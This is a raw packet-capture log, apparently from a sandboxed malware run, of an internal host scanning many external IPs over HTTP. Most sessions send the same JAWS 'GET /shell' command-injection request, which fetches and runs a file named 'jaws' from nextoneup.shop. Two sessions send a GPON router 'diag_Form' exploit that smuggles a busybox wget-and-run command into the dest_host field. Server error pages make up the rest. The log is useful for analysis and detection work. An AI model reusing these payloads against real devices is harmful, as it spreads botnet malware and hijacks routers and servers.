Apr 14, 2024 04:01:36.183757067 CEST	228	IN	Data Raw: 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 Data Ascii: an><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span></div><hr /></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1681	192.168.2.23	57380	85.28.14.24	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:35.838567972 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1682	192.168.2.23	42716	189.233.253.18	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:35.989541054 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:36.221734047 CEST	272	IN	HTTP/1.1 301 Moved Permanently Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Content-Type: text/plain Server: proxygen-bolt Date: Sun, 14 Apr 2024 02:01:36 GMT Connection: keep-alive Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1683	192.168.2.23	53106	66.211.223.107	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:35.997093916 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:36.236347914 CEST	443	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Sun, 14 Apr 2024 02:01:36 GMT Content-Type: text/html Content-Length: 178 Connection: keep-alive Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body bgcolor="white"><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1684	192.168.2.23	46930	178.168.19.186	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:36.154474020 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:36.509951115 CEST	224	IN	HTTP/1.1 403 Forbidden Content-Type: text/html; charset=utf-8 Content-Length: 106 Connection: close Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1685	192.168.2.23	55832	54.192.213.122	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:36.241167068 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:36.636065960 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:01:36 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1686	192.168.2.23	45094	105.72.57.17	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:36.547580004 CEST	1289	IN	HTTP/1.1 400 Bad Request Server: ZTE web server 1.0 ZTE corp 2015. Accept-Ranges: bytes Connection: close X-Frame-Options: SAMEORIGIN Content-Type: text/html; charset=iso-8859-1 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Security-Policy: frame-ancestors 'self' data: Cache-Control: no-cache,no-store Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 74 6d 6c 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 23 46 46 46 46 46 46 22 20 74 65 78 74 3d 22 23 30 30 30 30 30 30 22 20 6c 69 6e 6b 3d 22 23 32 30 32 30 66 66 22 20 76 6c 69 6e 6b 3d 22 23 34 30 34 30 63 63 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 68 32 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0a 59 6f 75 72 20 72 65 71 75 65 73 74 20 68 61 73 20 62 61 64 20 73 79 6e 74 61 78 20 6f 72 20 69 73 20 69 6e 68 65 72 65 6e 74 6c 79 20 69 6d 70 6f 73 73 69 62 6c 65 20 74 6f 20 73 61 74 69 73 66 79 2e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 22 3e 0a 3c 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 49 46 5f 45 52 52 4f 52 53 54 52 3e 53 65 73 73 69 6f 6e 54 69 6d 65 6f 75 74 3c 2f 49 46 5f 45 52 52 4f 52 53 54 52 3e 0a 3c 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 50 41 52 41 4d 3e 0a 3c 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 53 55 43 43 3c 2f 49 46 5f 45 52 52 4f 52 54 59 50 45 3e 0a 3c 2f 61 6a 61 78 5f 72 65 73 70 6f 6e 73 65 5f 78 6d 6c 5f 72 6f 6f 74 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 74 73 20 6f 77 6e 20 63 61 Data Ascii: <html> <head><title>400 Bad Request</title></head> <body bgcolor="#FFFFFF" text="#000000" link="#2020ff" vlink="#4040cc"> <h2>400 Bad Request</h2>Your request has bad syntax or is inherently impossible to satisfy.<div style="display:none"><ajax_response_xml_root><IF_ERRORSTR>SessionTimeout</IF_ERRORSTR><IF_ERRORPARAM>SUCC</IF_ERRORPARAM><IF_ERRORTYPE>SUCC</IF_ERRORTYPE></ajax_response_xml_root><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own ca
Apr 14, 2024 04:01:36.550232887 CEST	241	IN	Data Raw: 6e 6e 65 64 20 6f 6e 65 2e 3c 2f 73 70 61 6e 3e 0a 3c 73 70 61 6e 3e 50 61 64 64 69 6e 67 20 73 6f 20 74 68 61 74 20 4d 53 49 45 20 64 65 69 67 6e 73 20 74 6f 20 73 68 6f 77 20 74 68 69 73 20 65 72 72 6f 72 20 69 6e 73 74 65 61 64 20 6f 66 20 69 Data Ascii: nned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span><span>Padding so that MSIE deigns to show this error instead of its own canned one.</span></div><hr /></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1687	192.168.2.23	58034	88.37.189.207	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:36.682642937 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1688	192.168.2.23	38368	107.154.221.101	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:36.765573978 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1689	192.168.2.23	41116	143.204.18.158	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:36.788698912 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:37.075922966 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:01:36 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1690	192.168.2.23	36394	42.200.178.11	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:36.794909954 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1691	192.168.2.23	59278	212.223.55.85	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:36.794954062 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1692	192.168.2.23	33202	23.101.75.87	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:36.811397076 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:37.124604940 CEST	1289	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET Date: Sun, 14 Apr 2024 02:01:36 GMT Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - File or directory not found.</h2> <h3>The resource you are looking for mi
Apr 14, 2024 04:01:37.124620914 CEST	140	IN	Data Raw: 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 68 33 3e 0d 0a Data Ascii: ght have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1693	192.168.2.23	41624	101.42.136.231	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:36.841902971 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:37.184170008 CEST	790	IN	Data Raw: 68 69 74 65 2d 73 70 61 63 65 3a 20 70 72 65 2d 77 72 61 70 3b 20 77 6f 72 64 2d 77 72 61 70 3a 20 62 72 65 61 6b 2d 77 6f 72 64 3b 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 40 6d 65 64 69 61 20 73 63 72 65 65 6e Data Ascii: hite-space: pre-wrap; word-wrap: break-word; } } @media screen and (max-width: 479px) { pre { width: 280px; } } </style> </head> <body bgcolor="white"> <span><H1>/
Apr 14, 2024 04:01:37.184189081 CEST	1289	IN	HTTP/1.1 404 Not Found Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Sun, 14 Apr 2024 02:01:37 GMT Content-Length: 1826 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 20 20 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e e6 97 a0 e6 b3 95 e6 89 be e5 88 b0 e8 b5 84 e6 ba 90 e3 80 82 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 56 65 72 64 61 6e 61 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 2e 37 65 6d 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 0d 0a 20 20 20 20 20 20 20 20 20 70 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 56 65 72 64 61 6e 61 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 2d 35 70 78 7d 0d 0a 20 20 20 20 20 20 20 20 20 62 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 56 65 72 64 61 6e 61 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 2d 35 70 78 7d 0d 0a 20 20 20 20 20 20 20 20 20 48 31 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 56 65 72 64 61 6e 61 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 74 3b 63 6f 6c 6f 72 3a 72 65 64 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 48 32 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 56 65 72 64 61 6e 61 22 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 6e 6f 72 6d 61 6c 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 74 3b 63 6f 6c 6f 72 3a 6d 61 72 6f 6f 6e 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 70 72 65 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 43 6f 6e 73 6f 6c 61 73 22 2c 22 4c 75 63 69 64 61 20 43 6f 6e 73 6f 6c 65 22 2c 4d 6f 6e 6f 73 70 61 63 65 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 31 70 74 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 2e 35 65 6d 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 34 70 74 7d 0d 0a 20 20 20 20 20 20 20 20 20 2e 6d 61 72 6b 65 72 20 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 